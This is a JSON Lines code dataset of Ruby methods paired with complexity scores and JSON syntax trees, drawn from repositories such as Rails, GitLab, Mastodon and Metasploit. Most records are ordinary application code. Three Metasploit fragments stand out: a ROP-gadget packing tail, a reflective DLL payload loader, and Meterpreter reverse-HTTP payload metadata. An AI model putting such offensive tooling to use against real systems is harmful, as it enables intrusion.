ype\":\"int\",\"children\":[2425393296]},{\"type\":\"int\",\"children\":[2008966545]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_gadgets\"]}]}]}]}","id":"b823266d-3bc2-461a-a29a-e13667d6fab3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/time_with_zone.rb","start_line":373,"raw_source":"def ago(other)\n      since(-other)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ago\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[null,\"since\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"-@\"]}]}]}","id":"12a96e93-1c9a-49d5-acd6-a14c1150fc9e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/email_domain_blocks.rb","start_line":104,"raw_source":"def color(processed, failed)\n      if !processed.zero? && failed.zero?\n        :green\n      elsif failed.zero?\n        :yellow\n      else\n        :red\n      end\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"color\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"processed\"]},{\"type\":\"arg\",\"children\":[\"failed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed\"]},\"zero?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed\"]},\"zero?\"]}]},{\"type\":\"sym\",\"children\":[\"green\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed\"]},\"zero?\"]},{\"type\":\"sym\",\"children\":[\"yellow\"]},{\"type\":\"sym\",\"children\":[\"red\"]}]}]}]}","id":"dd051617-a271-4da2-b189-750db4410a3b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/settings/pictures_controller.rb","start_line":27,"raw_source":"def set_picture\n      @picture = params[:id]\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_picture\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@picture\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"7e3789c8-4959-4350-9084-e4e5c347b8bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/column_data.rb","start_line":36,"raw_source":"def arel_column_as\n            arel_table[as]\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"arel_column_as\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"as\"]}]}]}","id":"65d7594d-7283-4317-85bc-41f0cf242a52"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/gitlab_api_client.rb","start_line":38,"raw_source":"def self.deduplicated_size(path)\n      downcased_path = path&.downcase\n      with_dummy_client(token_config: { type: :nested_repositories_token, path: downcased_path }) do |client|\n        client.repository_details(downcased_path, sizing: :self_with_descendants)['size_bytes']\n      end\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"deduplicated_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"downcased_path\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"downcase\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_dummy_client\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_config\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"nested_repositories_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"downcased_path\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"repository_details\",{\"type\":\"lvar\",\"children\":[\"downcased_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sizing\"]},{\"type\":\"sym\",\"children\":[\"self_with_descendants\"]}]}]}]},\"[]\",{\"type\":\"str\",\"children\":[\"size_bytes\"]}]}]}]}]}","id":"57842565-b115-429a-b9f2-26b3d7269ab3"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/formatters/terminal256.rb","start_line":168,"raw_source":"def text_style\n        style = theme.get_style(Token['Text'])\n        # don't highlight text backgrounds\n        style.delete :bg\n        style\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"text_style\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme\"]},\"get_style\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Token\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Text\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"bg\"]}]},{\"type\":\"lvar\",\"children\":[\"style\"]}]}]}","id":"e996e458-7fad-487c-8d1a-9a3a5e53771d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_rate.rb","start_line":53,"raw_source":"def self.get_assignments(type)\n    # type = :compute || :storage\n    # Returns[{:cb_rate=>obj, :tag=>[Classification.entry_object, klass]} || :object=>object},...]\n    validate_rate_type(type)\n    result = []\n    ChargebackRate.where(:rate_type => type.to_s.capitalize).each do |rate|\n      assigned_tos = rate.get_assigned_tos\n      assigned_tos[:tags].each    { |tag|    result << {:cb_rate => rate, :tag => tag} }\n      assigned_tos[:objects].each { |object| result << {:cb_rate => rate, :object => object} }\n      assigned_tos[:labels].each  { |label|  result << {:cb_rate => rate, :label => label} }\n    end\n    result\n  end","complexity_score":25.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_assignments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_rate_type\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChargebackRate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rate_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_s\"]},\"capitalize\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rate\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assigned_tos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"get_assigned_tos\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_tos\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cb_rate\"]},{\"type\":\"lvar\",\"children\":[\"rate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_tos\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"objects\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cb_rate\"]},{\"type\":\"lvar\",\"children\":[\"rate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_tos\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"labels\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cb_rate\"]},{\"type\":\"lvar\",\"children\":[\"rate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"efe4793a-1418-4368-a3a4-2f7571e4f57f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/memstats.rb","start_line":117,"raw_source":"def format_number(n)\n  n.to_s.gsub(/(\\d)(?=\\d{3}+(?:\\.|$))(\\d{3}\\..*)?/, '\\1,\\2')\nend","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"to_s\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\d)(?=\\\\d{3}+(?:\\\\.|$))(\\\\d{3}\\\\..*)?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1,\\\\2\"]}]}]}","id":"aa313a9e-c942-4b4d-8467-adb6fc4a7153"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_sql.rb","start_line":421,"raw_source":"def unsafe_string_interp? exp\n    if node_type? exp, :evstr\n      value = exp.value\n    else\n      value = exp\n    end\n\n    if not sexp? value\n      nil\n    elsif call? value and TO_STRING_METHODS.include? value.method\n      unsafe_string_interp? value.target\n    elsif call? value and safe_literal_target? value\n      nil\n    else\n      case value.node_type\n      when :or\n        unsafe_string_interp?(value.lhs) || unsafe_string_interp?(value.rhs)\n      when :dstr\n        if dangerous = check_string_interp(value)\n          return dangerous\n        end\n      else\n        if safe_value? value\n          nil\n        elsif string_building? value\n          check_for_string_building value\n        else\n          value\n        end\n      end\n    end\n  end","complexity_score":47.7,"ast_json":"{\"type\":\"def\",\"children\":[\"unsafe_string_interp?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"lvar\",\"children\":[\"exp\"]},{\"type\":\"sym\",\"children\":[\"evstr\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sexp?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"!\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TO_STRING_METHODS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"unsafe_string_interp?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"safe_literal_target?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"node_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"or\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unsafe_string_interp?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"lhs\"]}]},{\"type\":\"send\",\"children\":[null,\"unsafe_string_interp?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"rhs\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"dstr\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dangerous\",{\"type\":\"send\",\"children\":[null,\"check_string_interp\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dangerous\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_value?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string_building?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"check_for_string_building\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]}]}]}","id":"195694f2-e8d9-4b62-805c-853bc5879fd5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/releases.rb","start_line":445,"raw_source":"def present_group_releases(params, releases)\n        options = {\n          with: params[:simple] ? Entities::BasicReleaseDetails : Entities::Release,\n          current_user: current_user\n        }\n\n        # GroupReleasesFinder has already ordered the data for us\n        present paginate(releases, skip_default_order: true), options\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"present_group_releases\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"releases\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"simple\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"BasicReleaseDetails\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"Release\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"send\",\"children\":[null,\"paginate\",{\"type\":\"lvar\",\"children\":[\"releases\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_default_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"92be6241-ef3b-4f66-a6f0-f6d498f8cf28"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/process_email.rb","start_line":7,"raw_source":"def execute(args)\n      Email::Processor.process!(\n        args[:mail],\n        retry_on_rate_limit: args[:retry_on_rate_limit] || false,\n        source: args[:source]&.to_sym,\n      )\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"Processor\"]},\"process!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mail\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry_on_rate_limit\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_on_rate_limit\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},\"to_sym\"]}]}]}]}]}","id":"1985d0c7-2e1a-4930-a680-5dda281063dd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/method_complexity.rb","start_line":17,"raw_source":"def on_def(node)\n        return if allowed_method?(node.method_name) || matches_allowed_pattern?(node.method_name)\n\n        check_complexity(node, node.method_name)\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_def\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"send\",\"children\":[null,\"matches_allowed_pattern?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"check_complexity\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]}]}]}","id":"ca990fdd-9063-4351-b724-51f45be29912"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations/hash_config.rb","start_line":148,"raw_source":"def lazy_schema_cache_path\n        schema_cache_path || default_schema_cache_path\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lazy_schema_cache_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_cache_path\"]},{\"type\":\"send\",\"children\":[null,\"default_schema_cache_path\"]}]}]}","id":"356ebf17-60ea-4354-a4a0-dc412dae793e"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/notifications/tag_adjustment_notification_worker.rb","start_line":7,"raw_source":"def perform(tag_adjustment_id)\n      tag_adjustment = TagAdjustment.find_by(id: tag_adjustment_id)\n      return unless tag_adjustment\n\n      Notifications::TagAdjustmentNotification::Send.call(tag_adjustment)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_adjustment_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_adjustment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagAdjustment\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"tag_adjustment_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_adjustment\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"TagAdjustmentNotification\"]},\"Send\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"tag_adjustment\"]}]}]}]}","id":"d95133e8-b84e-4a33-bb2a-65c99835e870"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/reflective_dll_loader.rb","start_line":26,"raw_source":"def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)\n    encrypted_dll = ::File.binread(dll_path)\n    dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_dll)\n\n    offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal)\n\n    unless offset\n      raise \"Cannot find the ReflectiveLoader entry point in #{dll_path}\"\n    end\n\n    return dll, offset\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load_rdi_dll\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dll_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"loader_name\",{\"type\":\"str\",\"children\":[\"ReflectiveLoader\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"loader_ordinal\",{\"type\":\"const\",\"children\":[null,\"EXPORT_REFLECTIVELOADER\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encrypted_dll\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"dll_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dll\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MetasploitPayloads\"]},\"Crypto\"]},\"decrypt\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ciphertext\"]},{\"type\":\"lvar\",\"children\":[\"encrypted_dll\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[null,\"parse_pe\",{\"type\":\"lvar\",\"children\":[\"dll\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"loader_name\"]},{\"type\":\"lvar\",\"children\":[\"loader_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"loader_ordinal\"]},{\"type\":\"lvar\",\"children\":[\"loader_ordinal\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot find the ReflectiveLoader entry point in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll_path\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]}","id":"eba562bf-04cf-4337-b84e-67ad263a7812"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/organizations/organization_user.rb","start_line":82,"raw_source":"def ensure_user_has_an_organization\n      return unless user\n\n      return unless user.organization_users.id_not_in(id).empty?\n\n      errors.add(:base, _('A user must associate with at least one organization'))\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_user_has_an_organization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"organization_users\"]},\"id_not_in\",{\"type\":\"send\",\"children\":[null,\"id\"]}]},\"empty?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"A user must associate with at least one organization\"]}]}]}]}]}","id":"66c6b8c7-7b13-467b-b97e-b51a18a4f2d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/update_shared_runners_service.rb","start_line":27,"raw_source":"def update_shared_runners\n      case params[:shared_runners_setting]\n      when Namespace::SR_DISABLED_AND_UNOVERRIDABLE\n        set_shared_runners_enabled!(false)\n      when Namespace::SR_DISABLED_AND_OVERRIDABLE\n        disable_shared_runners_and_allow_override!\n      when Namespace::SR_ENABLED\n        set_shared_runners_enabled!(true)\n      end\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_shared_runners\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared_runners_setting\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"SR_DISABLED_AND_UNOVERRIDABLE\"]},{\"type\":\"send\",\"children\":[null,\"set_shared_runners_enabled!\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"SR_DISABLED_AND_OVERRIDABLE\"]},{\"type\":\"send\",\"children\":[null,\"disable_shared_runners_and_allow_override!\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"SR_ENABLED\"]},{\"type\":\"send\",\"children\":[null,\"set_shared_runners_enabled!\",{\"type\":\"true\",\"children\":[]}]}]},null]}]}","id":"7441b8e5-91f5-44e1-ab46-c6fb49a4a45c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Linux Meterpreter, Reverse HTTP Inline',\n        'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',\n        'Author' => [\n          'Adam Cammack <adam_cammack[at]rapid7.com>',\n          'Brent Cook <brent_cook[at]rapid7.com>',\n          'timwr'\n        ],\n        'Platform' => 'linux',\n        'Arch' => ARCH_ZARCH,\n        'License' => MSF_LICENSE,\n        'Handler' => Msf::Handler::ReverseHttp,\n        'Session' => Msf::Sessions::Meterpreter_zarch_Linux\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Meterpreter, Reverse HTTP Inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Run the Meterpreter / Mettle server payload (stageless)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Adam Cammack <adam_cammack[at]rapid7.com>\"]},{\"type\":\"str\",\"children\":[\"Brent Cook 